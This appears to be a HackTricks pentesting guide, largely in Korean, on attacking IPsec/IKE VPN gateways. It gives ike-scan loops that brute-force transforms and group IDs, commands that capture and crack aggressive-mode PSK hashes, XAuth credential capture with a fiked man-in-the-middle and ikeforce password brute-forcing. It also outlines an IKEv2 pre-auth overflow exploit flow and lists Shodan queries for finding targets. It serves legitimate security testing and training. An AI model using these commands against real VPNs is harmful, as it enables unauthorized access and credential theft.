500/udp - Pentesting IPsec/IKE VPN
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
IPsec는 네트워크 간 통신(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이로 접속하는 경우(remote access)의 보안을 책임지는 주요 기술로 널리 인정되며, 기업용 VPN 솔루션의 핵심 인프라 역할을 합니다.
두 지점 간의 security association (SA) 수립은 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 하위에서 동작하는 IKE에 의해 관리됩니다. 이 과정은 여러 단계로 진행됩니다:
- Phase 1: 두 엔드포인트 사이에 보안 채널을 생성합니다. 이는 사전 공유 키(Pre-Shared Key, PSK) 또는 인증서를 사용하여 수행되며, 메시지 3쌍으로 진행되는 main mode 또는 aggressive mode를 사용합니다.
- Phase 1.5: 필수는 아니지만, Extended Authentication Phase로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결 시도 사용자의 신원을 검증합니다.
- Phase 2: 이 단계는 ESP 및 AH로 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. Phase 1과 다른 알고리즘을 사용하여 **Perfect Forward Secrecy (PFS)**를 보장할 수 있어 보안을 강화합니다.
기본 포트: 500/udp
일반적으로 노출되는 포트: 4500/udp (NAT Traversal)
서비스 탐지: nmap 사용
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
유효한 변환 찾기
IPSec 구성은 하나 또는 몇 가지 변환만 허용하도록 준비될 수 있습니다. 변환(transformation)은 값들의 조합입니다. 각 transform에는 DES 또는 3DES와 같은 암호화 알고리즘, SHA 또는 MD5와 같은 무결성 알고리즘, pre-shared key와 같은 인증 유형, Diffie-Hellman 1 또는 2와 같은 키 분배 알고리즘, 그리고 28800초와 같은 유효 기간(lifetime) 같은 여러 속성이 포함됩니다.
그렇다면, 서버가 응답하도록 하기 위해 먼저 해야 할 일은 유효한 변환을 찾는 것입니다. 이를 위해 도구 ike-scan을 사용할 수 있습니다. 기본적으로 ike-scan은 main mode에서 동작하며, ISAKMP 헤더와 하나의 proposal을 포함한 패킷을 게이트웨이로 전송하고 그 안에 8개의 transforms가 들어 있습니다.
응답에 따라 엔드포인트에 대한 몇 가지 정보를 얻을 수 있습니다:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
이전 응답에서 보듯, AUTH 필드의 값이 PSK로 설정되어 있습니다. 이는 VPN이 preshared key로 구성되어 있다는 뜻이며(이는 pentester에게 매우 유리합니다).\
마지막 줄의 값도 매우 중요합니다:
- 0 returned handshake; 0 returned notify: 즉, 대상은 not an IPsec gateway 입니다.
- 1 returned handshake; 0 returned notify: 즉, target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable (유효한 transform은 출력에 표시됩니다).
- 0 returned handshake; 1 returned notify: VPN gateways는 notify 메시지로 응답하는데, 이는 none of the transforms are acceptable 경우입니다(다만 일부 gateways는 응답하지 않으므로, 이 경우 추가 분석과 수정된 제안을 시도해야 합니다).
이 경우에는 이미 유효한 transformation을 확보했지만, 만약 3번째 경우에 해당한다면 유효한 transformation을 찾기 위해 brute-force를 약간 수행해야 합니다:
First of all you need to create all the possible transformations:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
그런 다음 ike-scan을 사용해 각각을 brute-force 하세요 (이 작업은 몇 분 걸릴 수 있습니다):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
만약 brute-force가 작동하지 않는다면, 서버가 valid transforms에 대해서도 handshakes 없이 응답하고 있을 수 있습니다. 그럴 경우 동일한 brute-force를 aggressive mode로 시도해볼 수 있습니다:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
운 좋게도 유효한 변환이 반환됩니다.
동일한 공격을 iker.py를 사용하여 시도해볼 수 있습니다.
또한 ikeforce를 사용해 변환을 brute force해 볼 수도 있습니다:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco는 DH 그룹 1 및 2는 충분히 강력하지 않으므로 사용을 피할 것을 권장합니다. 전문가들은 자원이 풍부한 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호화를 쉽게 깨뜨릴 수 있다고 보고합니다. 이는 암호 해독을 신속하게 준비하는 특수한 방법을 사용해 수행됩니다. 이 방법을 구축하는 데는 많은 비용이 들지만, 일단 마련되면 1,024-bit 이하와 같이 강도가 약한 그룹을 사용하는 경우 실시간으로 암호화된 데이터를 읽을 수 있게 합니다.
Server fingerprinting
그런 다음 ike-scan을 사용하여 장치의 공급업체를 식별하려 시도할 수 있습니다. 이 도구는 초기 제안을 전송하고 재생을 중지합니다. 그런 다음 서버로부터 수신된 메시지들 간의 시간 차이와 일치하는 응답 패턴을 분석하여 pentester는 VPN 게이트웨이 공급업체를 성공적으로 지문화할 수 있습니다. 또한 일부 VPN 서버는 IKE와 함께 선택적 Vendor ID (VID) payload를 사용합니다.
Specify the valid transformation if needed (using –trans)
If IKE discover which is the vendor it will print it:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
이것은 nmap script _ike-version_으로도 수행할 수 있습니다.
IKEv2-specific: WatchGuard Vendor ID version fingerprinting
일부 IKEv2 데몬은 IKE_SA_INIT 응답에 비표준 Vendor ID 페이로드를 포함합니다. WatchGuard Fireware OS는 장비 버전/빌드를 VID 내부에 직접 인코딩하여 단일 패킷, pre-auth fingerprinting을 가능하게 합니다.
- Transport: UDP/500 (및 NAT-T의 경우 UDP/4500)
- Packet: IKE_SA_INIT 응답에 하나 이상의 Vendor ID 페이로드가 포함됨
- WatchGuard format: 32-byte hash 뒤에 base64가 따라오며 디코딩하면 예:
VN=12.11.3 BN=719894
Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
base64 tail이 있을 때 shell에서 빠르게 추출:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Notes
- 이는 어떤 IKEv2 RFC의 일부가 아닙니다. 노출/취약한 Fireware OS 버전의 빠른 스코핑을 위한 공급업체 특이사항으로 취급하세요.
- IKE_SA_INIT 응답 하나만 이끌어내면 됩니다; 인증은 필요하지 않습니다.
정확한 ID (그룹 이름) 찾기
hash를 캡처하려면 Aggressive mode를 지원하는 유효한 transformation과 올바른 ID(그룹 이름)가 필요합니다. 유효한 그룹 이름을 모를 가능성이 높으므로 brute-force해야 합니다.
이를 위해 저는 두 가지 방법을 권합니다:
Bruteforcing ID with ike-scan
먼저 fake ID로 요청을 보내 hash를 수집하려고 시도해보세요 (“-P”):
ike-scan -P -M -A -n fakeID <IP>
만약 no hash is returned 라면, 이 brute forcing 방법이 아마 작동할 것입니다. If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won’t be reliable — 반환된 값이 fake hash일 가능성이 있으므로 이 방법으로는 ID를 신뢰성 있게 brute-force할 수 없습니다. 예를 들어, fake hash가 반환될 수 있습니다(이것은 최신 버전에서 발생합니다):
.png)
하지만 앞서 말했듯이 no hash is returned 경우, ike-scan을 사용해 common group names를 brute-force해 보세요.
이 스크립트 will try to brute-force possible IDs 하며, valid handshake가 반환되는 ID들을 반환할 것입니다(이는 유효한 group name이 됩니다).
특정 변환(transformation)을 발견했다면 ike-scan 명령에 추가하세요. 여러 변환을 발견했다면 모두 시도할 수 있도록 새로운 루프를 추가해도 됩니다(정상 동작하는 것이 나올 때까지 모두 시도해야 합니다).
common group names를 brute-force하기 위해 the dictionary of ikeforce or the one in seclists of common group names to brute-force them:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
Bruteforcing ID with Iker
iker.py 또한 ike-scan을 사용해 가능한 그룹 이름을 bruteforce합니다. 이 툴은 ike-scan의 출력에 기반해 유효한 ID를 찾는 자체적인 방법을 따릅니다.
Bruteforcing ID with ikeforce
ikeforce.py 는 brute force ID도 시도할 수 있는 도구입니다. 이 도구는 다양한 취약점을 이용하려고 시도하여 유효한 ID와 비유효한 ID를 구분하는 데 사용할 수 있는 동작을 확인합니다(오탐(false positives)과 누락(false negatives)이 있을 수 있으므로 가능하면 ike-scan 방법을 사용하는 것을 선호합니다).
By default ikeforce는 시작 시 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 무작위 id들을 몇 개 보냅니다.
- The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
- The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
- The third method consist on searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
- Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
위의 방법들은 각각 다른 방식으로 ID의 유효성을 판별하려고 시도합니다.
분명히, id를 brute forcing하는 목적은 유효한 id를 찾았을 때 PSK를 얻는 것입니다. 그런 다음 id와 PSK를 알게 되면 XAUTH(활성화돼 있다면)를 bruteforce해야 합니다.
만약 특정한 transformation을 발견했다면 이를 ikeforce 명령에 추가하세요. 여러 transformation을 발견했다면 모두 시도하도록 새 루프를 추가해도 됩니다(하나가 제대로 작동할 때까지 모두 시도해야 합니다).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): VPN 클라이언트와 서버 간의 연결을 sniffing하여 유효한 사용자 이름을 얻는 것도 가능한데, 첫 번째 Aggressive Mode 패킷에 포함된 client ID가 평문으로 전송되기 때문입니다
.png)
Aggressive Mode identity leakage
Aggressive Mode는 게이트웨이가 multiple groups/users가 존재할 때 올바른 PSK를 선택할 수 있도록 ID를 초기에 전송해야 합니다. 이는 identity is exposed pre-auth을 의미하며, Main Mode에서는 이후 패킷에서 암호화되는 것과 다릅니다. 이를 빠르게 추출할 수 있습니다:
ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)
Aggressive Mode가 활성화되어 있으면, crackable PSK handshake를 캡처하여 오프라인에서 crack하세요 (hashcat mode 5400):
ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt
복구된 PSKs는 다른 서비스(SSH, VPN client auth)의 자격 증명으로 자주 재사용됩니다. 따라서 노출된 서비스에 대해 테스트하세요.
캡처 & cracking the hash
마지막으로, 유효한 변환과 그룹 이름을 찾았고 aggressive mode가 허용되어 있다면, 매우 쉽게 크랙 가능한 hash를 얻을 수 있습니다:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
hash는 _hash.txt_에 저장됩니다.
psk-crack, john (ikescan2john.py를 사용하여) 및 hashcat을 사용해 hash를 crack할 수 있습니다:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE와 **Pre-Shared Key (PSK)**의 조합은 일반적으로 group authentication 목적에 사용됩니다. 이 방법은 추가적인 user authentication 계층을 도입하는 **XAuth (Extended Authentication)**로 보완됩니다. 이러한 인증은 일반적으로 Microsoft Active Directory, RADIUS 등과 같은 서비스를 활용합니다.
IKEv2로 전환되면, 사용자를 인증하기 위해 XAuth 대신 **EAP (Extensible Authentication Protocol)**가 사용되는 뚜렷한 변화가 있습니다. 이 변화는 보안 통신 프로토콜에서 인증 방식의 진화를 반영합니다.
로컬 네트워크 MitM로 자격 증명 캡처
따라서 로그인 데이터를 _fiked_로 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다 (스니핑을 위해 IKE 트래픽을 fiked로 리디렉션해야 하며, 이는 ARP spoofing의 도움으로 수행할 수 있습니다, more info). Fiked는 VPN 엔드포인트로 동작하며 XAuth 자격 증명을 캡처합니다:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
또한, IPSec을 사용하여 MitM 공격을 시도하고 port 500으로의 모든 트래픽을 차단해보세요. IPSec tunnel을 수립할 수 없다면 트래픽이 평문으로 전송될 수 있습니다.
Brute-forcing XAUTH username ad password with ikeforce
유효한 group name id와 psk를 알고 있을 때 XAUTH를 무차별 대입하려면, username 또는 username 목록과 password 목록을 사용할 수 있습니다:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
이렇게 하면, ikeforce는 username:password의 각 조합을 사용해 연결을 시도합니다.
하나 또는 여러 개의 유효한 transforms를 찾았다면 이전 단계들처럼 그것들을 사용하세요.
Authentication with an IPSEC VPN
Kali에서는 VPNC를 사용하여 IPsec 터널을 설정합니다. 프로파일은 /etc/vpnc/ 디렉토리에 위치해야 합니다. 이 프로파일들은 vpnc 명령으로 시작할 수 있습니다.
다음 명령과 설정은 VPNC로 VPN 연결을 설정하는 과정을 보여줍니다:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
이 구성에서:
[VPN_GATEWAY_IP]을(를) VPN 게이트웨이의 실제 IP 주소로 교체하세요.[VPN_CONNECTION_ID]을(를) VPN 연결의 식별자로 교체하세요.[VPN_GROUP_SECRET]을(를) VPN의 그룹 시크릿으로 교체하세요.[VPN_USERNAME]와[VPN_PASSWORD]을(를) VPN 인증 자격증명으로 교체하세요.[PID]는vpnc가 시작될 때 할당되는 프로세스 ID를 의미합니다.
VPN을 구성할 때 플레이스홀더를 실제의 안전한 값으로 교체했는지 확인하세요.
IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs
현대의 VPN 어플라이언스는 종종 UDP/500(및 NAT-T의 경우 UDP/4500)에서 IKEv2를 노출합니다. 일반적인 사전 인증 공격 표면은 IKE_SA_AUTH 중 Identification (IDi) 및 Certificate 페이로드의 파싱입니다.
취약한 IKEv2 파서가 존재할 때의 고수준 익스플로잇 흐름:
- 변환을 협상하고 Diffie–Hellman을 완료하기 위해 유효한 IKE_SA_INIT를 보냅니다.
- 그 다음에 버그를 유발하는 IDi를 포함한 IKE_SA_AUTH를 전송합니다(예: 인증서 검증 전에 고정 크기 스택 버퍼로 복사되는 과도한 크기의 Identification).
- 그로 인한 메모리 손상은 저장된 레지스터와 반환 주소 제어로 이어질 수 있습니다.
- NX가 활성화되어 있지만 다른 완화책이 없는 경우(PIE/canaries 없음), 스택 페이지에 대해 mprotect를 호출하는 ROP 체인을 구성한 뒤 실행을 주입된 쉘코드로 피벗하거나 /bin/sh가 없을 때는 상주 인터프리터(예: /usr/bin/python3)로 피벗합니다.
일부 IKEv2 어플라이언스(WatchGuard Fireware OS 12.11.3 등)에서 관찰된 기본 transforms 예:
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
실용 팁
- UDP/500과 UDP/4500을 모두 타겟하세요; NAT-T 서버는 4500에서만 응답할 수 있습니다.
- 패킷 손실을 피하기 위해 UDP 기반 스캐너의 수신 버퍼와 타임아웃을 늘리세요.
- 서비스가 커스텀 Vendor IDs를 노출하는 경우(위 섹션 참조), 익스플로잇 트래픽을 시도하기 전에 이를 이용해 취약한 버전을 빠르게 핑거프린팅하세요.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


